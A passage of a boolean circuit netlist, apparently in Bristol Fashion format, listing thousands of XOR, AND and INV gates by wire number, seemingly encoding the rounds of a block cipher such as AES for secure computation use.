XOR +2 1 327 935 967 XOR +2 1 359 967 999 XOR +1 1 19237 36560 INV +2 1 36560 262 902 XOR +2 1 294 902 934 XOR +2 1 326 934 966 XOR +2 1 358 966 998 XOR +2 1 998 996 11894 XOR +1 1 19236 36565 INV +2 1 36565 257 897 XOR +2 1 289 897 929 XOR +2 1 321 929 961 XOR +2 1 353 961 993 XOR +2 1 999 993 11901 XOR +1 1 19235 36564 INV +2 1 36564 258 898 XOR +2 1 290 898 930 XOR +2 1 322 930 962 XOR +2 1 354 962 994 XOR +2 1 994 11901 11987 XOR +2 1 998 11987 11983 XOR +2 1 11987 11983 11970 AND +2 1 19181 19182 32691 XOR +2 1 19178 32691 19158 XOR +2 1 19179 19158 19118 XOR +2 1 19147 19118 36566 XOR +2 1 36566 256 896 XOR +2 1 288 896 928 XOR +2 1 320 928 960 XOR +2 1 352 960 992 XOR +2 1 992 998 11990 XOR +2 1 19174 19158 19124 XOR +1 1 19124 19121 INV +2 1 19121 19122 36561 XOR +2 1 36561 261 1544 XOR +2 1 293 1544 1545 XOR +1 1 1545 933 INV +1 1 1544 901 INV +2 1 325 1545 1546 XOR +1 1 1546 965 INV +2 1 357 1546 1547 XOR +1 1 1547 997 INV +2 1 996 997 11871 XOR +2 1 992 997 11988 XOR +2 1 997 11894 11896 XOR +2 1 998 997 11912 XOR +2 1 993 11896 11978 XOR +2 1 11901 11896 11977 XOR +2 1 994 11896 11975 XOR +2 1 994 992 11895 XOR +2 1 11895 11901 11984 XOR +2 1 11912 11984 11982 XOR +2 1 11990 11975 11971 AND +2 1 11971 11895 11899 XOR +2 1 11984 11977 11969 AND +2 1 32691 19156 36563 XOR +2 1 36563 259 899 XOR +2 1 291 899 931 XOR +2 1 323 931 963 XOR +2 1 355 963 995 XOR +2 1 995 993 11897 XOR +2 1 995 992 11989 XOR +2 1 11989 11912 11985 XOR +2 1 11894 11989 11981 XOR +2 1 999 11981 11980 XOR +2 1 997 995 11991 XOR +2 1 11895 11991 11976 XOR +2 1 11897 11895 11857 XOR +2 1 11894 11857 11979 XOR +2 1 11897 994 11856 XOR +2 1 999 11856 11986 XOR +2 1 11981 11985 11974 AND +2 1 11974 11897 11900 XOR +2 1 11982 11980 11973 AND +2 1 11986 999 11972 AND +2 1 11989 11978 11968 AND +2 1 11968 11896 11898 XOR +2 1 11900 11898 11904 XOR +2 1 992 11904 11910 XOR +2 1 11991 11976 11967 AND +2 1 11967 11973 11919 XOR +2 1 11919 11910 11965 XOR +2 1 11967 11968 11870 XOR +2 1 11870 11871 11918 XOR +2 1 11918 11899 11917 XOR +2 1 11970 11917 11964 XOR +2 1 11988 11979 11966 AND +2 1 11966 11969 11920 XOR +2 1 11966 11972 11924 XOR +2 1 11924 11895 11911 XOR +2 1 11919 11911 11962 XOR +2 1 11967 11920 11914 XOR +2 1 11899 11920 11873 XOR +2 1 11873 11898 11963 XOR +2 1 11904 11924 11872 XOR +2 1 994 11872 11916 XOR +2 1 11970 11914 11869 XOR +2 1 998 11869 11957 XOR +2 1 11965 11964 11961 AND +2 1 11961 11916 11956 XOR +2 1 11961 11963 11960 XOR +2 1 11962 11960 11959 AND +2 1 11959 11916 11958 XOR +2 1 11959 11971 11864 XOR +2 1 11864 11900 11860 XOR +2 1 992 11860 11863 XOR +2 1 11959 11910 11861 XOR +2 1 994 11860 11859 XOR +2 1 11956 11957 11955 AND +2 1 11955 11963 11954 XOR +2 1 11961 11955 11953 XOR +2 1 11955 11914 11868 XOR +2 1 11955 11972 11867 XOR +2 1 11867 11969 11862 XOR +2 1 11862 11863 11946 XOR +2 1 11963 11953 11952 AND +2 1 11952 11960 11950 XOR +2 1 11952 11970 11923 XOR +2 1 11923 11917 11944 XOR +2 1 998 11923 11905 XOR +2 1 11905 11868 11951 XOR +2 1 11958 11950 11949 AND +2 1 11949 11919 11909 XOR +2 1 11909 11911 11948 XOR +2 1 11949 11973 11866 XOR +2 1 11905 11866 11858 XOR +2 1 11895 11858 11865 XOR +2 1 11862 11865 11947 XOR +2 1 11909 11861 11945 XOR +2 1 11858 11859 11943 XOR +2 1 11944 11981 11942 AND +2 1 11951 11980 11941 AND +2 1 11954 999 11940 AND +2 1 11940 11942 11922 XOR +2 1 11945 11975 11939 AND +2 1 11948 11987 11938 AND +2 1 11938 11939 11907 XOR +2 1 11958 11977 11937 AND +2 1 11937 11938 11875 XOR +2 1 11946 11978 11936 AND +2 1 11943 11976 11935 AND +2 1 11935 11907 11915 XOR +2 1 11935 11938 11890 XOR +1 1 11890 11887 INV +2 1 11935 11936 11886 XOR +2 1 11936 11915 11874 XOR +2 1 11947 11979 11934 AND +2 1 11944 11985 11933 AND +2 1 11951 11982 11932 AND +2 1 11954 11986 11931 AND +2 1 11931 11915 11880 XOR +1 1 11880 11877 INV +2 1 11945 11990 11930 AND +2 1 11930 11934 11906 XOR +2 1 11939 11930 11891 XOR +1 1 11906 11884 INV +2 1 11948 11983 11929 AND +2 1 11937 11929 11893 XOR +2 1 11958 11984 11928 AND +2 1 11884 11928 11883 XOR +2 1 11883 11922 11879 XOR +2 1 11946 11989 11927 AND +2 1 11927 11879 11882 XOR +2 1 11943 11991 11926 AND +2 1 11926 11927 11921 XOR +2 1 11932 11921 11902 XOR +2 1 11933 11902 11903 XOR +2 1 11941 11903 11908 XOR +2 1 11942 11908 11913 XOR +2 1 11907 11913 36571 XOR +2 1 11893 11921 11889 XOR +2 1 11922 11889 11892 XOR +2 1 11891 11892 11995 XOR +2 1 11884 11889 11888 XOR +2 1 11887 11888 11994 XOR +2 1 11913 11886 11993 XOR +2 1 11902 11879 11878 XOR +2 1 11877 11878 36569 XOR +2 1 11940 11908 11876 XOR +2 1 11875 11876 36570 XOR +2 1 11903 11874 36574 XOR +2 1 11947 11988 11925 AND +2 1 11936 11925 11885 XOR +1 1 11885 11881 INV +2 1 11881 11882 11992 XOR +1 1 11995 36567 INV +1 1 11994 36568 INV +1 1 11993 36573 INV +1 1 11992 36572 INV +2 1 36570 924 796 XOR +2 1 36572 922 794 XOR +2 1 36567 927 799 XOR +2 1 956 796 828 XOR +2 1 988 828 860 XOR +2 1 1020 860 892 XOR +2 1 959 799 831 XOR +2 1 991 831 863 XOR +2 1 36573 921 793 XOR +2 1 953 793 825 XOR +2 1 985 825 857 XOR +2 1 1023 863 895 XOR +2 1 1017 857 889 XOR +2 1 36568 926 798 XOR +2 1 958 798 830 XOR +2 1 990 830 862 XOR +2 1 1022 862 894 XOR +2 1 954 794 826 XOR +2 1 986 826 858 XOR +2 1 1018 858 890 XOR +2 1 894 892 21501 XOR +2 1 895 889 21508 XOR +2 1 890 21508 21593 XOR +2 1 894 21593 21589 XOR +2 1 21593 21589 21576 AND +2 1 24748 24749 32724 XOR +2 1 24745 32724 24725 XOR +2 1 24746 24725 24685 XOR +2 1 24714 24685 36510 XOR +2 1 24741 24725 24691 XOR +1 1 24691 24688 INV +2 1 24688 24689 36505 XOR +2 1 32724 24723 36507 XOR +2 1 24887 24888 32725 XOR +2 1 32725 24862 36475 XOR +2 1 36475 100 411 XOR +2 1 68 411 443 XOR +2 1 36 443 475 XOR +2 1 34698 475 33418 XOR +2 1 4 475 507 XOR +2 1 507 505 13157 XOR +2 1 34666 507 33386 XOR +2 1 13157 506 13116 XOR +2 1 511 13116 13246 XOR +2 1 13246 511 13232 AND +2 1 36507 411 283 XOR +2 1 36539 283 923 XOR +2 1 443 283 315 XOR +2 1 475 315 347 XOR +2 1 507 347 379 XOR +2 1 315 923 955 XOR +2 1 379 377 13017 XOR +2 1 13017 378 12976 XOR +2 1 383 12976 13106 XOR +2 1 13106 383 13092 AND +2 1 347 955 987 XOR +2 1 379 987 1019 XOR +2 1 36571 923 795 XOR +2 1 955 795 827 XOR +2 1 987 827 859 XOR +2 1 1019 859 891 XOR +2 1 1019 1017 19002 XOR +2 1 19002 1018 18961 XOR +2 1 1023 18961 19090 XOR +2 1 19090 1023 19076 AND +2 1 891 889 21504 XOR +2 1 21504 890 21463 XOR +2 1 895 21463 21592 XOR +2 1 21592 895 21578 AND +2 1 24884 32725 24864 XOR +2 1 24880 24864 24830 XOR +1 1 24830 24827 INV +2 1 24827 24828 36473 XOR +2 1 36473 98 413 XOR +2 1 66 413 445 XOR +2 1 34 445 477 XOR +2 1 2 477 509 XOR +2 1 36505 413 285 XOR +2 1 445 285 317 XOR +2 1 477 317 349 XOR +2 1 509 349 381 XOR +2 1 36537 285 925 XOR +2 1 317 925 957 XOR +2 1 349 957 989 XOR +2 1 381 989 1021 XOR +2 1 381 13014 13016 XOR +2 1 377 13016 13098 XOR +2 1 378 13016 13095 XOR +2 1 13021 13016 13097 XOR +2 1 382 381 13032 XOR +2 1 381 379 13111 XOR +2 1 380 381 12991 XOR +2 1 509 13154 13156 XOR +2 1 505 13156 13238 XOR +2 1 506 13156 13235 XOR +2 1 13161 13156 13237 XOR +2 1 510 509 13172 XOR +2 1 509 507 13251 XOR +2 1 508 509 13131 XOR +2 1 36569 925 797 XOR +2 1 957 797 829 XOR +2 1 989 829 861 XOR +2 1 1021 861 893 XOR +2 1 1021 18999 19001 XOR +2 1 1017 19001 19082 XOR +2 1 1018 19001 19079 XOR +2 1 19006 19001 19081 XOR +2 1 1022 1021 19016 XOR +2 1 1021 1019 19095 XOR +2 1 1020 1021 18976 XOR +2 1 893 21501 21503 XOR +2 1 889 21503 21584 XOR +2 1 890 21503 21581 XOR +2 1 21508 21503 21583 XOR +2 1 894 893 21518 XOR +2 1 893 891 21597 XOR +2 1 892 893 21478 XOR +2 1 24885 24864 24824 XOR +2 1 24853 24824 36478 XOR +2 1 36478 103 408 XOR +2 1 36510 408 280 XOR +2 1 71 408 440 XOR +2 1 39 440 472 XOR +2 1 7 472 504 XOR +2 1 440 280 312 XOR +2 1 472 312 344 XOR +2 1 504 344 376 XOR +2 1 36542 280 920 XOR +2 1 312 920 952 XOR +2 1 378 376 13015 XOR +2 1 13015 13111 13096 XOR +2 1 379 376 13109 XOR +2 1 13109 13032 13105 XOR +2 1 13015 13021 13104 XOR +2 1 13032 13104 13102 XOR +2 1 13014 13109 13101 XOR +2 1 383 13101 13100 XOR +2 1 13017 13015 12977 XOR +2 1 13014 12977 13099 XOR +2 1 376 382 13110 XOR +2 1 376 381 13108 XOR +2 1 13101 13105 13094 AND +2 1 13094 13017 13020 XOR +2 1 13102 13100 13093 AND +2 1 13110 13095 13091 AND +2 1 13091 13015 13019 XOR +2 1 13104 13097 13089 AND +2 1 13109 13098 13088 AND +2 1 13088 13016 13018 XOR +2 1 13020 13018 13024 XOR +2 1 376 13024 13030 XOR +2 1 13111 13096 13087 AND +2 1 13087 13093 13039 XOR +2 1 13039 13030 13085 XOR +2 1 13087 13088 12990 XOR +2 1 12990 12991 13038 XOR +2 1 13038 13019 13037 XOR +2 1 13090 13037 13084 XOR +2 1 13108 13099 13086 AND +2 1 13086 13089 13040 XOR +2 1 13086 13092 13044 XOR +2 1 13044 13015 13031 XOR +2 1 13039 13031 13082 XOR +2 1 13087 13040 13034 XOR +2 1 13019 13040 12993 XOR +2 1 12993 13018 13083 XOR +2 1 13024 13044 12992 XOR +2 1 378 12992 13036 XOR +2 1 13090 13034 12989 XOR +2 1 382 12989 13077 XOR +2 1 13085 13084 13081 AND +2 1 13081 13036 13076 XOR +2 1 13081 13083 13080 XOR +2 1 13082 13080 13079 AND +2 1 13079 13036 13078 XOR +2 1 13079 13091 12984 XOR +2 1 12984 13020 12980 XOR +2 1 376 12980 12983 XOR +2 1 13079 13030 12981 XOR +2 1 378 12980 12979 XOR +2 1 13076 13077 13075 AND +2 1 13075 13083 13074 XOR +2 1 13081 13075 13073 XOR +2 1 13075 13034 12988 XOR +2 1 13075 13092 12987 XOR +2 1 12987 13089 12982 XOR +2 1 12982 12983 13066 XOR +2 1 13083 13073 13072 AND +2 1 13072 13080 13070 XOR +2 1 13072 13090 13043 XOR +2 1 13043 13037 13064 XOR +2 1 382 13043 13025 XOR +2 1 13025 12988 13071 XOR +2 1 13078 13070 13069 AND +2 1 13069 13039 13029 XOR +2 1 13029 13031 13068 XOR +2 1 13069 13093 12986 XOR +2 1 13025 12986 12978 XOR +2 1 13015 12978 12985 XOR +2 1 12982 12985 13067 XOR +2 1 13029 12981 13065 XOR +2 1 12978 12979 13063 XOR +2 1 13064 13101 13062 AND +2 1 13071 13100 13061 AND +2 1 13074 383 13060 AND +2 1 13060 13062 13042 XOR +2 1 13065 13095 13059 AND +2 1 13068 13107 13058 AND +2 1 13058 13059 13027 XOR +2 1 13078 13097 13057 AND +2 1 13057 13058 12995 XOR +2 1 13066 13098 13056 AND +2 1 13063 13096 13055 AND +2 1 13055 13027 13035 XOR +2 1 13055 13058 13010 XOR +1 1 13010 13007 INV +2 1 13055 13056 13006 XOR +2 1 13056 13035 12994 XOR +2 1 13067 13099 13054 AND +2 1 13064 13105 13053 AND +2 1 13071 13102 13052 AND +2 1 13074 13106 13051 AND +2 1 13051 13035 13000 XOR +1 1 13000 12997 INV +2 1 13065 13110 13050 AND +2 1 13050 13054 13026 XOR +2 1 13059 13050 13011 XOR +1 1 13026 13004 INV +2 1 13068 13103 13049 AND +2 1 13057 13049 13013 XOR +2 1 13078 13104 13048 AND +2 1 13004 13048 13003 XOR +2 1 13003 13042 12999 XOR +2 1 13066 13109 13047 AND +2 1 13047 12999 13002 XOR +2 1 13063 13111 13046 AND +2 1 13046 13047 13041 XOR +2 1 13052 13041 13022 XOR +2 1 13053 13022 13023 XOR +2 1 13061 13023 13028 XOR +2 1 13062 13028 13033 XOR +2 1 13027 13033 36547 XOR +2 1 13013 13041 13009 XOR +2 1 13042 13009 13012 XOR +2 1 13011 13012 13115 XOR +2 1 13004 13009 13008 XOR +2 1 13007 13008 13114 XOR +2 1 13033 13006 13113 XOR +2 1 13022 12999 12998 XOR +2 1 12997 12998 36545 XOR +2 1 13060 13028 12996 XOR +2 1 12995 12996 36546 XOR +2 1 13023 12994 36550 XOR +2 1 13067 13108 13045 AND +2 1 13056 13045 13005 XOR +1 1 13005 13001 INV +2 1 13001 13002 13112 XOR +1 1 13115 36543 INV +1 1 13114 36544 INV +1 1 13113 36549 INV +1 1 13112 36548 INV +2 1 506 504 13155 XOR +2 1 13155 13251 13236 XOR +2 1 507 504 13249 XOR +2 1 13249 13172 13245 XOR +2 1 13155 13161 13244 XOR +2 1 13172 13244 13242 XOR +2 1 13154 13249 13241 XOR +2 1 511 13241 13240 XOR +2 1 13157 13155 13117 XOR +2 1 13154 13117 13239 XOR +2 1 504 510 13250 XOR +2 1 504 509 13248 XOR +2 1 13241 13245 13234 AND +2 1 13234 13157 13160 XOR +2 1 13242 13240 13233 AND +2 1 13250 13235 13231 AND +2 1 13231 13155 13159 XOR +2 1 13244 13237 13229 AND +2 1 13249 13238 13228 AND +2 1 13228 13156 13158 XOR +2 1 13160 13158 13164 XOR +2 1 504 13164 13170 XOR +2 1 13251 13236 13227 AND +2 1 13227 13233 13179 XOR +2 1 13179 13170 13225 XOR +2 1 13227 13228 13130 XOR +2 1 13130 13131 13178 XOR +2 1 13178 13159 13177 XOR +2 1 13230 13177 13224 XOR +2 1 13248 13239 13226 AND +2 1 13226 13229 13180 XOR +2 1 13226 13232 13184 XOR +2 1 13184 13155 13171 XOR +2 1 13179 13171 13222 XOR +2 1 13227 13180 13174 XOR +2 1 13159 13180 13133 XOR +2 1 13133 13158 13223 XOR +2 1 13164 13184 13132 XOR +2 1 506 13132 13176 XOR +2 1 13230 13174 13129 XOR +2 1 510 13129 13217 XOR +2 1 13225 13224 13221 AND +2 1 13221 13176 13216 XOR +2 1 13221 13223 13220 XOR +2 1 13222 13220 13219 AND +2 1 13219 13176 13218 XOR +2 1 13219 13231 13124 XOR +2 1 13124 13160 13120 XOR +2 1 504 13120 13123 XOR +2 1 13219 13170 13121 XOR +2 1 506 13120 13119 XOR +2 1 13216 13217 13215 AND +2 1 13215 13223 13214 XOR +2 1 13221 13215 13213 XOR +2 1 13215 13174 13128 XOR +2 1 13215 13232 13127 XOR +2 1 13127 13229 13122 XOR +2 1 13122 13123 13206 XOR +2 1 13223 13213 13212 AND +2 1 13212 13220 13210 XOR +2 1 13212 13230 13183 XOR +2 1 13183 13177 13204 XOR +2 1 510 13183 13165 XOR +2 1 13165 13128 13211 XOR +2 1 13218 13210 13209 AND +2 1 13209 13179 13169 XOR +2 1 13169 13171 13208 XOR +2 1 13209 13233 13126 XOR +2 1 13165 13126 13118 XOR +2 1 13155 13118 13125 XOR +2 1 13122 13125 13207 XOR +2 1 13169 13121 13205 XOR +2 1 13118 13119 13203 XOR +2 1 13204 13241 13202 AND +2 1 13211 13240 13201 AND +2 1 13214 511 13200 AND +2 1 13200 13202 13182 XOR +2 1 13205 13235 13199 AND +2 1 13208 13247 13198 AND +2 1 13198 13199 13167 XOR +2 1 13218 13237 13197 AND +2 1 13197 13198 13135 XOR +2 1 13206 13238 13196 AND +2 1 13203 13236 13195 AND +2 1 13195 13167 13175 XOR +2 1 13195 13198 13150 XOR +1 1 13150 13147 INV +2 1 13195 13196 13146 XOR +2 1 13196 13175 13134 XOR +2 1 13207 13239 13194 AND +2 1 13204 13245 13193 AND +2 1 13211 13242 13192 AND +2 1 13214 13246 13191 AND +2 1 13191 13175 13140 XOR +1 1 13140 13137 INV +2 1 13205 13250 13190 AND +2 1 13190 13194 13166 XOR +2 1 13199 13190 13151 XOR +1 1 13166 13144 INV +2 1 13208 13243 13189 AND +2 1 13197 13189 13153 XOR +2 1 13218 13244 13188 AND +2 1 13144 13188 13143 XOR +2 1 13143 13182 13139 XOR +2 1 13206 13249 13187 AND +2 1 13187 13139 13142 XOR +2 1 13203 13251 13186 AND +2 1 13186 13187 13181 XOR +2 1 13192 13181 13162 XOR +2 1 13193 13162 13163 XOR +2 1 13201 13163 13168 XOR +2 1 13202 13168 13173 XOR +2 1 13167 13173 36515 XOR +2 1 36515 403 275 XOR +2 1 435 275 307 XOR +2 1 467 307 339 XOR +2 1 499 339 371 XOR +2 1 36547 275 915 XOR +2 1 307 915 947 XOR +2 1 339 947 979 XOR +2 1 371 979 1011 XOR +2 1 13153 13181 13149 XOR +2 1 13182 13149 13152 XOR +2 1 13151 13152 13255 XOR +2 1 13144 13149 13148 XOR +2 1 13147 13148 13254 XOR +2 1 13173 13146 13253 XOR +2 1 13162 13139 13138 XOR +2 1 13137 13138 36513 XOR +2 1 36513 405 277 XOR +2 1 437 277 309 XOR +2 1 469 309 341 XOR +2 1 501 341 373 XOR +2 1 36545 277 917 XOR +2 1 309 917 949 XOR +2 1 341 949 981 XOR +2 1 373 981 1013 XOR +2 1 13200 13168 13136 XOR +2 1 13135 13136 36514 XOR +2 1 36514 404 276 XOR +2 1 436 276 308 XOR +2 1 468 308 340 XOR +2 1 500 340 372 XOR +2 1 36546 276 916 XOR +2 1 308 916 948 XOR +2 1 13163 13134 36518 XOR +2 1 36518 400 272 XOR +2 1 432 272 304 XOR +2 1 464 304 336 XOR +2 1 496 336 368 XOR +2 1 36550 272 912 XOR +2 1 304 912 944 XOR +2 1 13207 13248 13185 AND +2 1 13196 13185 13145 XOR +1 1 13145 13141 INV +2 1 13141 13142 13252 XOR +1 1 13255 36511 INV +2 1 36511 407 279 XOR +2 1 439 279 311 XOR +2 1 471 311 343 XOR +2 1 503 343 375 XOR +2 1 36543 279 919 XOR +2 1 311 919 951 XOR +1 1 13254 36512 INV +2 1 36512 406 278 XOR +2 1 438 278 310 XOR +2 1 470 310 342 XOR +2 1 502 342 374 XOR +2 1 36544 278 918 XOR +2 1 310 918 950 XOR +2 1 342 950 982 XOR +2 1 374 982 1014 XOR +1 1 13253 36517 INV +2 1 36517 401 273 XOR +2 1 36549 273 913 XOR +2 1 433 273 305 XOR +2 1 465 305 337 XOR +2 1 497 337 369 XOR +2 1 305 913 945 XOR +2 1 337 945 977 XOR +2 1 369 977 1009 XOR +1 1 13252 36516 INV +2 1 36516 402 274 XOR +2 1 434 274 306 XOR +2 1 36548 274 914 XOR +2 1 306 914 946 XOR +2 1 466 306 338 XOR +2 1 498 338 370 XOR +2 1 338 946 978 XOR +2 1 370 978 1010 XOR +2 1 336 944 976 XOR +2 1 368 976 1008 XOR +2 1 343 951 983 XOR +2 1 375 983 1015 XOR +2 1 340 948 980 XOR +2 1 372 980 1012 XOR +2 1 344 952 984 XOR +2 1 376 984 1016 XOR +2 1 36574 920 792 XOR +2 1 952 792 824 XOR +2 1 984 824 856 XOR +2 1 1016 856 888 XOR +2 1 1014 1012 15941 XOR +2 1 1010 1008 15942 XOR +2 1 1013 15941 15943 XOR +2 1 1009 15943 16024 XOR +2 1 1010 15943 16021 XOR +2 1 1011 1009 15944 XOR +2 1 1015 1009 15948 XOR +2 1 15948 15943 16023 XOR +2 1 1011 1008 16035 XOR +2 1 15942 15948 16030 XOR +2 1 15941 16035 16027 XOR +2 1 1015 16027 16026 XOR +2 1 1014 1013 15958 XOR +2 1 15958 16030 16028 XOR +2 1 16035 15958 16031 XOR +2 1 1013 1011 16037 XOR +2 1 15942 16037 16022 XOR +2 1 1010 15948 16033 XOR +2 1 1014 16033 16029 XOR +2 1 1012 1013 15918 XOR +2 1 15944 15942 15904 XOR +2 1 15941 15904 16025 XOR +2 1 15944 1010 15903 XOR +2 1 1015 15903 16032 XOR +2 1 1008 1014 16036 XOR +2 1 1008 1013 16034 XOR +2 1 16027 16031 16020 AND +2 1 16020 15944 15947 XOR +2 1 16028 16026 16019 AND +2 1 16032 1015 16018 AND +2 1 16036 16021 16017 AND +2 1 16017 15942 15946 XOR +2 1 16033 16029 16016 AND +2 1 16030 16023 16015 AND +2 1 16035 16024 16014 AND +2 1 16014 15943 15945 XOR +2 1 15947 15945 15951 XOR +2 1 1008 15951 15956 XOR +2 1 16037 16022 16013 AND +2 1 16013 16019 15965 XOR +2 1 15965 15956 16011 XOR +2 1 16013 16014 15917 XOR +2 1 15917 15918 15964 XOR +2 1 15964 15946 15963 XOR +2 1 16016 15963 16010 XOR +2 1 16034 16025 16012 AND +2 1 16012 16015 15966 XOR +2 1 16012 16018 15970 XOR +2 1 15970 15942 15957 XOR +2 1 15965 15957 16008 XOR +2 1 16013 15966 15960 XOR +2 1 15946 15966 15920 XOR +2 1 15920 15945 16009 XOR +2 1 15951 15970 15919 XOR +2 1 1010 15919 15962 XOR +2 1 16016 15960 15916 XOR +2 1 1014 15916 16003 XOR +2 1 16011 16010 16007 AND +2 1 16007 15962 16002 XOR +2 1 16007 16009 16006 XOR +2 1 16008 16006 16005 AND +2 1 16005 15962 16004 XOR +2 1 16005 16017 15911 XOR +2 1 15911 15947 15907 XOR +2 1 1008 15907 15910 XOR +2 1 16005 15956 15908 XOR +2 1 1010 15907 15906 XOR +2 1 16002 16003 16001 AND +2 1 16001 16009 16000 XOR +2 1 16007 16001 15999 XOR +2 1 16001 15960 15915 XOR +2 1 16001 16018 15914 XOR +2 1 15914 16015 15909 XOR +2 1 15909 15910 15992 XOR +2 1 16009 15999 15998 AND +2 1 15998 16006 15996 XOR +2 1 15998 16016 15969 XOR +2 1 15969 15963 15990 XOR +2 1 1014 15969 15952 XOR +2 1 15952 15915 15997 XOR +2 1 16004 15996 15995 AND +2 1 15995 15965 15955 XOR +2 1 15955 15957 15994 XOR +2 1 15995 16019 15913 XOR +2 1 15952 15913 15905 XOR +2 1 15942 15905 15912 XOR +2 1 15909 15912 15993 XOR +2 1 15955 15908 15991 XOR +2 1 15905 15906 15989 XOR +2 1 15990 16027 15988 AND +2 1 15997 16026 15987 AND +2 1 16000 1015 15986 AND +2 1 15986 15988 15968 XOR +2 1 15991 16021 15985 AND +2 1 15994 16033 15984 AND +2 1 16004 16023 15983 AND +2 1 15983 15984 15922 XOR +2 1 15992 16024 15982 AND +2 1 15989 16022 15981 AND +2 1 15981 15984 15937 XOR +1 1 15937 15934 INV +2 1 15981 15982 15933 XOR +2 1 15993 16025 15980 AND +2 1 15990 16031 15979 AND +2 1 15997 16028 15978 AND +2 1 16000 16032 15977 AND +2 1 15991 16036 15976 AND +2 1 15976 15980 15953 XOR +2 1 15985 15976 15938 XOR +1 1 15953 15931 INV +2 1 15994 16029 15975 AND +2 1 15983 15975 15940 XOR +2 1 16004 16030 15974 AND +2 1 15931 15974 15930 XOR +2 1 15930 15968 15926 XOR +2 1 15992 16035 15973 AND +2 1 15973 15926 15929 XOR +2 1 15989 16037 15972 AND +2 1 15972 15973 15967 XOR +2 1 15978 15967 15949 XOR +2 1 15979 15949 15950 XOR +2 1 15987 15950 15954 XOR +2 1 15988 15954 15959 XOR +2 1 15940 15967 15936 XOR +2 1 15968 15936 15939 XOR +2 1 15938 15939 16041 XOR +2 1 15931 15936 15935 XOR +2 1 15934 15935 16040 XOR +2 1 15959 15933 16039 XOR +2 1 15949 15926 15925 XOR +2 1 15986 15954 15923 XOR +2 1 15922 15923 36586 XOR +2 1 15993 16034 15971 AND +2 1 15982 15971 15932 XOR +1 1 15932 15928 INV +2 1 15928 15929 16038 XOR +1 1 16041 36583 INV +1 1 16040 36584 INV +1 1 16039 36589 INV +1 1 16038 36588 INV +2 1 374 372 16080 XOR +2 1 370 368 16081 XOR +2 1 373 16080 16082 XOR +2 1 369 16082 16163 XOR +2 1 370 16082 16160 XOR +2 1 371 369 16083 XOR +2 1 375 369 16087 XOR +2 1 16087 16082 16162 XOR +2 1 371 368 16174 XOR +2 1 16081 16087 16169 XOR +2 1 16080 16174 16166 XOR +2 1 375 16166 16165 XOR +2 1 374 373 16097 XOR +2 1 16097 16169 16167 XOR +2 1 16174 16097 16170 XOR +2 1 373 371 16176 XOR +2 1 16081 16176 16161 XOR +2 1 370 16087 16172 XOR +2 1 374 16172 16168 XOR +2 1 372 373 16057 XOR +2 1 16083 16081 16043 XOR +2 1 16080 16043 16164 XOR +2 1 16083 370 16042 XOR +2 1 375 16042 16171 XOR +2 1 368 374 16175 XOR +2 1 368 373 16173 XOR +2 1 16166 16170 16159 AND +2 1 16159 16083 16086 XOR +2 1 16167 16165 16158 AND +2 1 16171 375 16157 AND +2 1 16175 16160 16156 AND +2 1 16156 16081 16085 XOR +2 1 16172 16168 16155 AND +2 1 16169 16162 16154 AND +2 1 16174 16163 16153 AND +2 1 16153 16082 16084 XOR +2 1 16086 16084 16090 XOR +2 1 368 16090 16095 XOR +2 1 16176 16161 16152 AND +2 1 16152 16158 16104 XOR +2 1 16104 16095 16150 XOR +2 1 16152 16153 16056 XOR +2 1 16056 16057 16103 XOR +2 1 16103 16085 16102 XOR +2 1 16155 16102 16149 XOR +2 1 16173 16164 16151 AND +2 1 16151 16154 16105 XOR +2 1 16151 16157 16109 XOR +2 1 16109 16081 16096 XOR +2 1 16104 16096 16147 XOR +2 1 16152 16105 16099 XOR +2 1 16085 16105 16059 XOR +2 1 16059 16084 16148 XOR +2 1 16090 16109 16058 XOR +2 1 370 16058 16101 XOR +2 1 16155 16099 16055 XOR +2 1 374 16055 16142 XOR +2 1 16150 16149 16146 AND +2 1 16146 16101 16141 XOR +2 1 16146 16148 16145 XOR +2 1 16147 16145 16144 AND +2 1 16144 16101 16143 XOR +2 1 16144 16156 16050 XOR +2 1 16050 16086 16046 XOR +2 1 368 16046 16049 XOR +2 1 16144 16095 16047 XOR +2 1 370 16046 16045 XOR +2 1 16141 16142 16140 AND +2 1 16140 16148 16139 XOR +2 1 16146 16140 16138 XOR +2 1 16140 16099 16054 XOR +2 1 16140 16157 16053 XOR +2 1 16053 16154 16048 XOR +2 1 16048 16049 16131 XOR +2 1 16148 16138 16137 AND +2 1 16137 16145 16135 XOR +2 1 16137 16155 16108 XOR +2 1 16108 16102 16129 XOR +2 1 374 16108 16091 XOR +2 1 16091 16054 16136 XOR +2 1 16143 16135 16134 AND +2 1 16134 16104 16094 XOR +2 1 16094 16096 16133 XOR +2 1 16134 16158 16052 XOR +2 1 16091 16052 16044 XOR +2 1 16081 16044 16051 XOR +2 1 16048 16051 16132 XOR +2 1 16094 16047 16130 XOR +2 1 16044 16045 16128 XOR +2 1 16129 16166 16127 AND +2 1 16136 16165 16126 AND +2 1 16139 375 16125 AND +2 1 16125 16127 16107 XOR +2 1 16130 16160 16124 AND +2 1 16133 16172 16123 AND +2 1 16143 16162 16122 AND +2 1 16122 16123 16061 XOR +2 1 16131 16163 16121 AND +2 1 16128 16161 16120 AND +2 1 16120 16123 16076 XOR +1 1 16076 16073 INV +2 1 16120 16121 16072 XOR +2 1 16132 16164 16119 AND +2 1 16129 16170 16118 AND +2 1 16136 16167 16117 AND +2 1 16139 16171 16116 AND +2 1 16130 16175 16115 AND +2 1 16115 16119 16092 XOR +2 1 16124 16115 16077 XOR +1 1 16092 16070 INV +2 1 16133 16168 16114 AND +2 1 16122 16114 16079 XOR +2 1 16143 16169 16113 AND +2 1 16070 16113 16069 XOR +2 1 16069 16107 16065 XOR +2 1 16131 16174 16112 AND +2 1 16112 16065 16068 XOR +2 1 16128 16176 16111 AND +2 1 16111 16112 16106 XOR +2 1 16117 16106 16088 XOR +2 1 16118 16088 16089 XOR +2 1 16126 16089 16093 XOR +2 1 16127 16093 16098 XOR +2 1 16079 16106 16075 XOR +2 1 16107 16075 16078 XOR +2 1 16077 16078 16180 XOR +2 1 16070 16075 16074 XOR +2 1 16073 16074 16179 XOR +2 1 16098 16072 16178 XOR +2 1 16088 16065 16064 XOR +2 1 16125 16093 16062 XOR +2 1 16061 16062 36554 XOR +2 1 36554 268 908 XOR +2 1 300 908 940 XOR +2 1 332 940 972 XOR +2 1 364 972 1004 XOR +2 1 36586 908 780 XOR +2 1 940 780 812 XOR +2 1 972 812 844 XOR +2 1 1004 844 876 XOR +2 1 16132 16173 16110 AND +2 1 16121 16110 16071 XOR +1 1 16071 16067 INV +2 1 16067 16068 16177 XOR +1 1 16180 